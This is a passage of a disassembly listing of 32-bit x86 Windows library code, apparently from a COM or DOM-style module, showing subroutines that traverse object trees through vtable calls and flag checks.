		lea	edi, [eax+edx*2]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+110h]
		mov	eax, [eax+8]
		add	[ebp+var_8], eax
		mov	esi, [ebp+var_14]


loc_69B4A49C:				; CODE XREF: sub_69B4A3AE+B3j
					; sub_69B4A3AE+BAj
		mov	ecx, ebx
		mov	edi, ebx
		call	sub_69B48533
		mov	ecx, [ebp+var_10]
		push	edi
		mov	ebx, eax
		call	sub_69B4843A
		cmp	edi, [ebp+var_4]
		jnz	short loc_69B4A455
		mov	edi, [ebp+var_10]
		mov	eax, [edi+0Ch]
		push	dword ptr [eax+50h]
		push	eax
		xor	eax, eax
		push	eax
		push	eax
		push	[ebp+var_C]
		push	eax
		push	eax
		push	1
		call	sub_69B49219
		push	esi
		push	eax
		mov	ecx, edi
		call	sub_69B499AC


loc_69B4A4D8:				; CODE XREF: sub_69B4A3AE+88j
		and	[ebp+var_4], 0
		xor	ebx, ebx
		xor	edi, edi


loc_69B4A4E0:				; CODE XREF: sub_69B4A3AE+7Fj
		test	esi, esi
		jz	short loc_69B4A523
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 11h
		test	cl, 1
		jnz	short loc_69B4A50D
		test	eax, 1F0C0000h
		jnz	short loc_69B4A50D
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	short loc_69B4A50D
		mov	ecx, esi
		call	sub_69B4A3AE


loc_69B4A50D:				; CODE XREF: sub_69B4A3AE+65j
					; sub_69B4A3AE+78j ...
		mov	ecx, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_69B47DCC
		mov	[ebp+var_14], eax
		mov	esi, eax
		jmp	loc_69B4A3F1
; ---------------------------------------------------------------------------


loc_69B4A523:				; CODE XREF: sub_69B4A3AE+134j
		pop	ebx


loc_69B4A524:				; CODE XREF: sub_69B4A3AE+32j
		pop	edi


loc_69B4A525:				; CODE XREF: sub_69B4A3AE+1Cj
		pop	esi
		leave
		retn
sub_69B4A3AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A528	proc near		; CODE XREF: sub_69B53B0C+5Fp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+8]
		mov	eax, ecx
		shr	eax, 11h
		test	al, 1
		jnz	short loc_69B4A53F
		test	ecx, 1F000000h
		jz	short loc_69B4A551


loc_69B4A53F:				; CODE XREF: sub_69B4A528+Dj
		mov	eax, ecx
		shr	eax, 18h
		and	eax, 1Fh
		cmp	eax, 3
		jz	short loc_69B4A551
		cmp	eax, 11h
		jnz	short loc_69B4A56F


loc_69B4A551:				; CODE XREF: sub_69B4A528+15j
					; sub_69B4A528+22j
		test	ecx, 0C0000h
		jnz	short loc_69B4A56F
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	short loc_69B4A56F
		mov	ecx, esi
		pop	esi
		jmp	sub_69B4A3AE
; ---------------------------------------------------------------------------


loc_69B4A56F:				; CODE XREF: sub_69B4A528+27j
					; sub_69B4A528+2Fj ...
		pop	esi
		retn
sub_69B4A528	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A571	proc near		; CODE XREF: sub_69B43E7F:loc_69B43E98p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		cmp	dword ptr [edi], 0
		mov	ebx, ecx
		push	edi
		jnz	short loc_69B4A59E
		call	sub_69B49F0B
		jmp	short loc_69B4A5A3
; ---------------------------------------------------------------------------


loc_69B4A587:				; CODE XREF: sub_69B4A571+36j
		cmp	[esp+0Ch+arg_4], 0
		jz	short loc_69B4A5A9
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	eax, [esp+0Ch+arg_4]
		jz	short loc_69B4A5A9
		push	edi
		mov	ecx, ebx


loc_69B4A59E:				; CODE XREF: sub_69B4A571+Dj
		call	sub_69B47DCC


loc_69B4A5A3:				; CODE XREF: sub_69B4A571+14j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B4A587


loc_69B4A5A9:				; CODE XREF: sub_69B4A571+1Bj
					; sub_69B4A571+28j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B4A571	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A5B1	proc near		; DATA XREF: .text:69B15300o
					; .text:69B1DD50o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edi


loc_69B4A5B7:				; CODE XREF: sub_69B4A5B1+33j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	short loc_69B4A5CC
		mov	ecx, edi
		call	sub_69B48032


loc_69B4A5CC:				; CODE XREF: sub_69B4A5B1+12j
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_69B49F0B
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B4A5ED
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 0Bh
		jz	short loc_69B4A5B7
		mov	eax, esi


loc_69B4A5E8:				; CODE XREF: sub_69B4A5B1+45j
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B4A5ED:				; CODE XREF: sub_69B4A5B1+2Aj
		mov	ecx, edi
		call	sub_69B48032
		xor	eax, eax
		jmp	short loc_69B4A5E8
sub_69B4A5B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A5F8	proc near		; DATA XREF: .text:69B1530Co
					; .text:69B1DD5Co
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B4A61D
		mov	eax, [esi]
		call	dword ptr [eax+118h]
		test	al, al
		jnz	short loc_69B4A618
		mov	ecx, esi
		call	sub_69B49E98
		test	eax, eax
		jz	short loc_69B4A61D


loc_69B4A618:				; CODE XREF: sub_69B4A5F8+13j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B4A61D:				; CODE XREF: sub_69B4A5F8+7j
					; sub_69B4A5F8+1Ej
		xor	eax, eax
		pop	esi
		retn
sub_69B4A5F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame thunk


sub_69B4A621	proc near		; DATA XREF: .text:69B15338o
					; .text:69B1DD88o
		jmp	sub_69B4A0ED
sub_69B4A621	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A626	proc near		; DATA XREF: .text:69B15360o
					; .text:69B1DDB0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	dword ptr [ecx+0Ch]
		push	0Fh
		push	[esp+8+arg_0]
		call	sub_69B49C1F
		test	eax, eax
		push	[esp+arg_4]
		jz	short loc_69B4A648
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+124h]
		jmp	short locret_69B4A64E
; ---------------------------------------------------------------------------


loc_69B4A648:				; CODE XREF: sub_69B4A626+14j
		call	VariantClear

locret_69B4A64E:			; CODE XREF: sub_69B4A626+20j
		retn	8
sub_69B4A626	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4A651	proc near		; CODE XREF: sub_69B4CDC8+38p

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		mov	esi, ecx
		call	sub_69B49F0B
		jmp	short loc_69B4A677
; ---------------------------------------------------------------------------


loc_69B4A663:				; CODE XREF: sub_69B4A651+28j
		cmp	[ebp+arg_0], 0
		jz	short loc_69B4A67B
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_69B47DCC
		dec	[ebp+arg_0]


loc_69B4A677:				; CODE XREF: sub_69B4A651+10j
		test	eax, eax
		jnz	short loc_69B4A663


loc_69B4A67B:				; CODE XREF: sub_69B4A651+16j
		pop	esi
		leave
		retn	4
sub_69B4A651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4A680	proc near		; CODE XREF: sub_69B4A6F9+35p
					; sub_69B78A78+219p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		push	edi
		jnz	short loc_69B4A6EF
		mov	edi, [ebp+arg_0]
		test	edi, edi
		jz	short loc_69B4A6A3
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		cmp	eax, esi
		jnz	short loc_69B4A6EF


loc_69B4A6A3:				; CODE XREF: sub_69B4A680+13j
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_69B49F0B
		jmp	short loc_69B4A6E7
; ---------------------------------------------------------------------------


loc_69B4A6B2:				; CODE XREF: sub_69B4A680+69j
		cmp	eax, edi
		jz	short loc_69B4A6EB
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jz	short loc_69B4A6C9
		xor	ecx, ecx
		mov	cl, [eax+0Bh]
		and	ecx, 1Fh
		cmp	[ebp+arg_8], ecx
		jnz	short loc_69B4A6DC


loc_69B4A6C9:				; CODE XREF: sub_69B4A680+3Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_69B4A6DB
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+38h]
		cmp	[ebp+arg_4], eax
		jnz	short loc_69B4A6DC


loc_69B4A6DB:				; CODE XREF: sub_69B4A680+4Dj
		inc	ebx


loc_69B4A6DC:				; CODE XREF: sub_69B4A680+47j
					; sub_69B4A680+59j
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_69B47DCC


loc_69B4A6E7:				; CODE XREF: sub_69B4A680+30j
		test	eax, eax
		jnz	short loc_69B4A6B2


loc_69B4A6EB:				; CODE XREF: sub_69B4A680+34j
		mov	eax, ebx
		jmp	short loc_69B4A6F2
; ---------------------------------------------------------------------------


loc_69B4A6EF:				; CODE XREF: sub_69B4A680+Cj
					; sub_69B4A680+21j
		or	eax, 0FFFFFFFFh


loc_69B4A6F2:				; CODE XREF: sub_69B4A680+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B4A680	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A6F9	proc near		; DATA XREF: .text:69B15320o
					; .text:69B1DD70o

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		jz	short loc_69B4A716
		mov	eax, [esi]
		call	dword ptr [eax+38h]
		xor	ebx, ebx
		mov	bl, [esi+0Bh]
		mov	edi, eax
		and	ebx, 1Fh
		jmp	short loc_69B4A71B
; ---------------------------------------------------------------------------


loc_69B4A716:				; CODE XREF: sub_69B4A6F9+Aj
		xor	edi, edi
		or	ebx, 0FFFFFFFFh


loc_69B4A71B:				; CODE XREF: sub_69B4A6F9+1Bj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B4A735
		push	ebx
		push	edi
		push	esi
		mov	ecx, eax
		call	sub_69B4A680
		jmp	short loc_69B4A737
; ---------------------------------------------------------------------------


loc_69B4A735:				; CODE XREF: sub_69B4A6F9+2Ej
		xor	eax, eax


loc_69B4A737:				; CODE XREF: sub_69B4A6F9+3Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B4A6F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A73D	proc near		; CODE XREF: sub_69B405D3+18p
					; sub_69B4A9E3+Fp ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B48F23
		mov	edx, eax
		test	edx, edx
		jnz	short loc_69B4A767
		mov	ecx, esi
		call	sub_69B48267
		test	eax, eax
		jz	short loc_69B4A767
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B4A077
		mov	edx, eax


loc_69B4A767:				; CODE XREF: sub_69B4A73D+10j
					; sub_69B4A73D+1Bj
		mov	eax, edx
		pop	esi
		retn	4
sub_69B4A73D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4A76D	proc near		; CODE XREF: sub_69B4A76D+E6p
					; sub_69B4AAFC:loc_69B4AC9Ap

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	edi
		mov	edi, ecx
		mov	bl, [edi+0Bh]
		and	bl, 1Fh
		neg	bl
		sbb	bl, bl
		inc	bl
		jz	short loc_69B4A793
		cmp	byte ptr [ebp+arg_8], 0
		jnz	short loc_69B4A793
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_69B4A16C


loc_69B4A793:				; CODE XREF: sub_69B4A76D+15j
					; sub_69B4A76D+1Bj
		mov	al, byte ptr [ebp+arg_4]
		xor	ecx, ecx
		cmp	byte ptr [ebp+arg_C], cl
		setz	cl
		inc	ecx
		neg	al
		sbb	eax, eax
		not	eax
		and	eax, ecx
		test	bl, bl
		mov	[ebp+var_4], eax
		mov	eax, [edi+8]
		jz	short loc_69B4A7EF


loc_69B4A7B1:				; CODE XREF: sub_69B4A76D+92j
		shr	eax, 0Bh
		test	al, 1
		jz	short loc_69B4A7C4
		mov	ecx, [ebp+arg_0]
		push	1
		push	20h
		call	sub_69B312D9


loc_69B4A7C4:				; CODE XREF: sub_69B4A76D+49j
					; sub_69B4A76D+90j
		test	byte ptr [edi+0Ah], 0Ch
		jnz	loc_69B4A8C5
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+110h]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B4A801
		push	[ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	eax
		call	sub_69B3146D
		jmp	loc_69B4A8C5
; ---------------------------------------------------------------------------


loc_69B4A7EF:				; CODE XREF: sub_69B4A76D+42j
		mov	ecx, eax
		and	ecx, 1F000000h
		cmp	ecx, 7000000h
		jnz	short loc_69B4A7C4
		jmp	short loc_69B4A7B1
; ---------------------------------------------------------------------------


loc_69B4A801:				; CODE XREF: sub_69B4A76D+6Fj
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_69B48DC1
		jmp	loc_69B4A8BA
; ---------------------------------------------------------------------------


loc_69B4A812:				; CODE XREF: sub_69B4A76D+151j
		mov	ecx, [esi+8]
		mov	eax, ecx
		shr	eax, 18h
		and	eax, 1Fh
		sub	eax, ebx
		jz	short loc_69B4A87E
		dec	eax
		jz	short loc_69B4A86B
		sub	eax, 5
		jz	short loc_69B4A85A
		sub	eax, 5
		jz	short loc_69B4A835
		sub	eax, 4
		jz	short loc_69B4A8AF
		jmp	short loc_69B4A899
; ---------------------------------------------------------------------------


loc_69B4A835:				; CODE XREF: sub_69B4A76D+BFj
		cmp	[edi+0Ch], ebx
		jz	short loc_69B4A899
		mov	ecx, esi
		call	sub_69B486D2
		cmp	eax, ebx
		jz	short loc_69B4A899
		mov	ecx, eax


loc_69B4A847:				; CODE XREF: sub_69B4A76D+119j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B4A76D
		jmp	short loc_69B4A899
; ---------------------------------------------------------------------------


loc_69B4A85A:				; CODE XREF: sub_69B4A76D+BAj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		cmp	eax, ebx
		jz	short loc_69B4A899
		push	ebx
		jmp	short loc_69B4A890
; ---------------------------------------------------------------------------


loc_69B4A86B:				; CODE XREF: sub_69B4A76D+B5j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		cmp	eax, ebx
		jz	short loc_69B4A899
		push	[ebp+var_4]
		jmp	short loc_69B4A890
; ---------------------------------------------------------------------------


loc_69B4A87E:				; CODE XREF: sub_69B4A76D+B2j
		test	ecx, 0C0000h
		mov	ecx, esi
		jz	short loc_69B4A847
		push	[ebp+var_4]
		call	sub_69B47E7F


loc_69B4A890:				; CODE XREF: sub_69B4A76D+FCj
					; sub_69B4A76D+10Fj
		mov	ecx, [ebp+arg_0]
		push	eax
		call	sub_69B3146D


loc_69B4A899:				; CODE XREF: sub_69B4A76D+C6j
					; sub_69B4A76D+CBj ...
		mov	eax, [esi+8]
		shr	eax, 0Ch
		test	al, 1
		jz	short loc_69B4A8AF
		mov	ecx, [ebp+arg_0]
		push	1
		push	20h
		call	sub_69B312D9


loc_69B4A8AF:				; CODE XREF: sub_69B4A76D+C4j
					; sub_69B4A76D+134j
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_69B47DCC


loc_69B4A8BA:				; CODE XREF: sub_69B4A76D+A0j
		mov	esi, eax
		cmp	esi, ebx
		jnz	loc_69B4A812
		pop	esi


loc_69B4A8C5:				; CODE XREF: sub_69B4A76D+5Bj
					; sub_69B4A76D+7Dj
		pop	edi
		pop	ebx
		leave
		retn	10h
sub_69B4A76D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A8CB	proc near		; CODE XREF: sub_69B42E14+49p
		push	20h
		push	offset dword_69B4A978
		call	sub_69B19C5C
		mov	[ebp-1Ch], ecx
		call	sub_69B88D77
		mov	[ebp-20h], eax
		push	eax
		call	sub_69B887E9
		mov	esi, eax
		add	eax, 8
		neg	esi
		sbb	esi, esi
		and	esi, eax
		mov	[ebp-24h], esi
		xor	ebx, ebx
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], ebx
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	[ebp-4], ebx
		push	ebx
		push	1
		push	esi
		call	sub_69B8A894
		mov	edi, eax
		mov	[ebp-28h], edi
		mov	[edi+8], bl
		mov	ecx, [ebp-1Ch]
		mov	eax, [ecx+0Ch]
		mov	[ebp-30h], eax
		push	ebx
		push	edi
		push	eax
		call	sub_69B173D1
		mov	ecx, edi
		call	sub_69B8A828
		push	dword ptr [ebp-20h]
		call	sub_69B2F0E0
		mov	[ebp-2Ch], eax
		jmp	short loc_69B4A963
; ---------------------------------------------------------------------------


loc_69B4A93D:				; DATA XREF: .text:69B4A97Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4A946:				; DATA XREF: .text:69B4A980o
		mov	esp, [ebp-18h]
		mov	ecx, [ebp-28h]
		test	ecx, ecx
		jz	short loc_69B4A955
		call	sub_69B8A828


loc_69B4A955:				; CODE XREF: sub_69B4A8CB+83j
		mov	esi, [ebp-24h]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		call	sub_69B2E860


loc_69B4A963:				; CODE XREF: sub_69B4A8CB+70j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	eax, [ebp-2Ch]
		call	sub_69B1853C
		retn
sub_69B4A8CB	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B4A978	dd 0FFFFFFFFh			dd offset loc_69B4A93D
		dd offset loc_69B4A946

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4A984	proc near		; CODE XREF: sub_69B173D1+A1p
					; sub_69B173D1+183p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		mov	edi, ecx
		call	sub_69B48F23
		jmp	short loc_69B4A9D7
; ---------------------------------------------------------------------------


loc_69B4A997:				; CODE XREF: sub_69B4A984+57j
		cmp	[ebp+arg_8], 0
		jz	short loc_69B4A9B3
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B490BC


loc_69B4A9B3:				; CODE XREF: sub_69B4A984+17j
		mov	ecx, [ebp+arg_4]
		push	20h
		call	sub_69B8A903
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B173D1
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_69B486B5


loc_69B4A9D7:				; CODE XREF: sub_69B4A984+11j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B4A997
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B4A984	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4A9E3	proc near		; CODE XREF: sub_69B43E7F+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		cmp	dword ptr [edi], 0
		mov	ebx, ecx
		push	edi
		jnz	short loc_69B4A9F9
		call	sub_69B4A73D
		jmp	short loc_69B4AA1C
; ---------------------------------------------------------------------------


loc_69B4A9F9:				; CODE XREF: sub_69B4A9E3+Dj
		call	sub_69B4A0ED
		jmp	short loc_69B4AA1C
; ---------------------------------------------------------------------------


loc_69B4AA00:				; CODE XREF: sub_69B4A9E3+3Dj
		cmp	[esp+0Ch+arg_4], 0
		jz	short loc_69B4AA22
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	eax, [esp+0Ch+arg_4]
		jz	short loc_69B4AA22
		push	edi
		mov	ecx, ebx
		call	sub_69B486B5


loc_69B4AA1C:				; CODE XREF: sub_69B4A9E3+14j
					; sub_69B4A9E3+1Bj
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B4AA00


loc_69B4AA22:				; CODE XREF: sub_69B4A9E3+22j
					; sub_69B4A9E3+2Fj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B4A9E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4AA2A	proc near		; DATA XREF: .text:69B15334o
					; .text:69B1DD84o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	short loc_69B4AA40
		mov	ecx, esi
		call	sub_69B48032


loc_69B4AA40:				; CODE XREF: sub_69B4AA2A+Dj
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B4A73D
		pop	esi
		retn	4
sub_69B4AA2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4AA4F	proc near		; CODE XREF: sub_69B4AAFC+55p
		push	18h
		push	offset dword_69B4AAF0
		call	sub_69B19C5C
		mov	edi, ecx
		call	sub_69B88D77
		mov	[ebp-1Ch], eax
		push	eax
		call	sub_69B887E9
		mov	esi, eax
		add	eax, 8
		neg	esi
		sbb	esi, esi
		and	esi, eax
		mov	[ebp-20h], esi
		xor	ebx, ebx
		mov	[ebp-24h], ebx
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	[ebp-4], ebx
		push	ebx
		push	1
		push	esi
		call	sub_69B8A894
		mov	[ebp-24h], eax
		mov	eax, [edi+0Ch]
		mov	[ebp-28h], eax
		push	ebx
		push	dword ptr [ebp-24h]
		push	eax
		mov	ecx, edi
		call	sub_69B4A984
		mov	ecx, [ebp-24h]
		call	sub_69B8A828
		jmp	short loc_69B4AAD5
; ---------------------------------------------------------------------------


loc_69B4AAAF:				; DATA XREF: .text:69B4AAF4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4AAB8:				; DATA XREF: .text:69B4AAF8o
		mov	esp, [ebp-18h]
		mov	ecx, [ebp-24h]
		test	ecx, ecx
		jz	short loc_69B4AAC7
		call	sub_69B8A828


loc_69B4AAC7:				; CODE XREF: sub_69B4AA4F+71j
		mov	esi, [ebp-20h]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		call	sub_69B2E860


loc_69B4AAD5:				; CODE XREF: sub_69B4AA4F+5Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		push	dword ptr [ebp-1Ch]
		call	sub_69B2F0E0
		call	sub_69B1853C
		retn
sub_69B4AA4F	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B4AAF0	dd 0FFFFFFFFh			dd offset loc_69B4AAAF
		dd offset loc_69B4AAB8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4AAFC	proc near		; CODE XREF: sub_69B40333+15p
					; sub_69B41434+84p ...

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	edi
		xor	eax, eax
		mov	edi, ecx
		mov	al, [edi+0Bh]
		and	eax, 1Fh
		mov	esi, eax
		cmp	esi, 4
		mov	[ebp+var_8], esi
		jz	short loc_69B4AB2B
		cmp	esi, 3
		jnz	short loc_69B4AB4A
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		call	sub_69B49C1F
		cmp	eax, esi
		jnz	short loc_69B4AB35


loc_69B4AB2B:				; CODE XREF: sub_69B4AAFC+1Aj
		mov	eax, offset off_69B1A5AC
		jmp	loc_69B4ACF8
; ---------------------------------------------------------------------------


loc_69B4AB35:				; CODE XREF: sub_69B4AAFC+2Dj
		push	[ebp+arg_8]
		mov	ecx, eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B4AAFC
		jmp	loc_69B4ACF8
; ---------------------------------------------------------------------------


loc_69B4AB4A:				; CODE XREF: sub_69B4AAFC+1Fj
		cmp	esi, 12h
		jnz	short loc_69B4AB62
		mov	ecx, edi
		call	sub_69B4AA4F
		mov	ecx, eax
		call	sub_69B2F43C
		jmp	loc_69B4ACF8
; ---------------------------------------------------------------------------


loc_69B4AB62:				; CODE XREF: sub_69B4AAFC+51j
		cmp	byte ptr [ebp+arg_4], 0
		jnz	short loc_69B4AB77
		test	esi, esi
		jnz	short loc_69B4AB77
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, edi
		call	sub_69B4A16C


loc_69B4AB77:				; CODE XREF: sub_69B4AAFC+6Aj
					; sub_69B4AAFC+6Ej
		mov	eax, [edi+0Ch]
		cmp	byte ptr [eax+8Dh], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		setz	byte ptr [ebp+var_4]
		cmp	esi, 0Bh
		jz	loc_69B4AC65
		cmp	byte ptr [ebp+var_4], 0
		jnz	loc_69B4AC65
		mov	eax, [edi+8]
		test	eax, 0C0000h
		jnz	short loc_69B4AC09
		test	bl, bl
		jz	short loc_69B4ABB5
		shr	eax, 0Bh
		test	al, 1
		jnz	loc_69B4AC65


loc_69B4ABB5:				; CODE XREF: sub_69B4AAFC+ACj
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+110h]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B4AC1A
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, edi
		call	sub_69B49F0B
		mov	esi, eax
		test	esi, esi
		jz	loc_69B4ACF2
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+108h]
		cmp	esi, eax
		jnz	short loc_69B4AC65
		test	bl, bl
		jz	short loc_69B4ABF6
		mov	eax, [esi+8]
		shr	eax, 0Ch
		test	al, 1
		jnz	short loc_69B4AC65


loc_69B4ABF6:				; CODE XREF: sub_69B4AAFC+EEj
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B4AAFC
		jmp	loc_69B4ACF7
; ---------------------------------------------------------------------------


loc_69B4AC09:				; CODE XREF: sub_69B4AAFC+A8j
		mov	ecx, edi
		call	sub_69B47E7F
		mov	esi, eax
		test	esi, esi
		jz	loc_69B4ACF2


loc_69B4AC1A:				; CODE XREF: sub_69B4AAFC+C7j
		test	bl, bl
		jnz	short loc_69B4AC2D
		cmp	[ebp+var_8], 6
		jz	short loc_69B4AC2D
		mov	ecx, esi
		call	sub_69B2F43C
		mov	esi, eax


loc_69B4AC2D:				; CODE XREF: sub_69B4AAFC+120j
					; sub_69B4AAFC+126j
		cmp	byte ptr [ebp+arg_8], 0
		jz	short loc_69B4AC5E
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		push	0
		push	eax
		push	ecx
		call	sub_69B31195
		test	al, al
		jz	short loc_69B4AC5E
		mov	eax, [esi+8]
		mov	esi, [esi+0Ch]
		push	eax
		push	esi
		call	sub_69B190D7
		mov	esi, eax
		push	0
		mov	ecx, esi
		call	sub_69B2ECE4


loc_69B4AC5E:				; CODE XREF: sub_69B4AAFC+135j
					; sub_69B4AAFC+148j
		mov	eax, esi
		jmp	loc_69B4ACF7
; ---------------------------------------------------------------------------


loc_69B4AC65:				; CODE XREF: sub_69B4AAFC+90j
					; sub_69B4AAFC+9Aj ...
		push	20h
		lea	ecx, [ebp+var_18]
		call	sub_69B3109C
		mov	eax, [edi+8]
		mov	ecx, eax
		and	ecx, 1F000000h
		cmp	ecx, 0B000000h
		mov	ecx, edi
		jnz	short loc_69B4ACA1
		call	sub_69B486D2
		test	eax, eax
		jz	short loc_69B4ACD5
		push	[ebp+var_4]
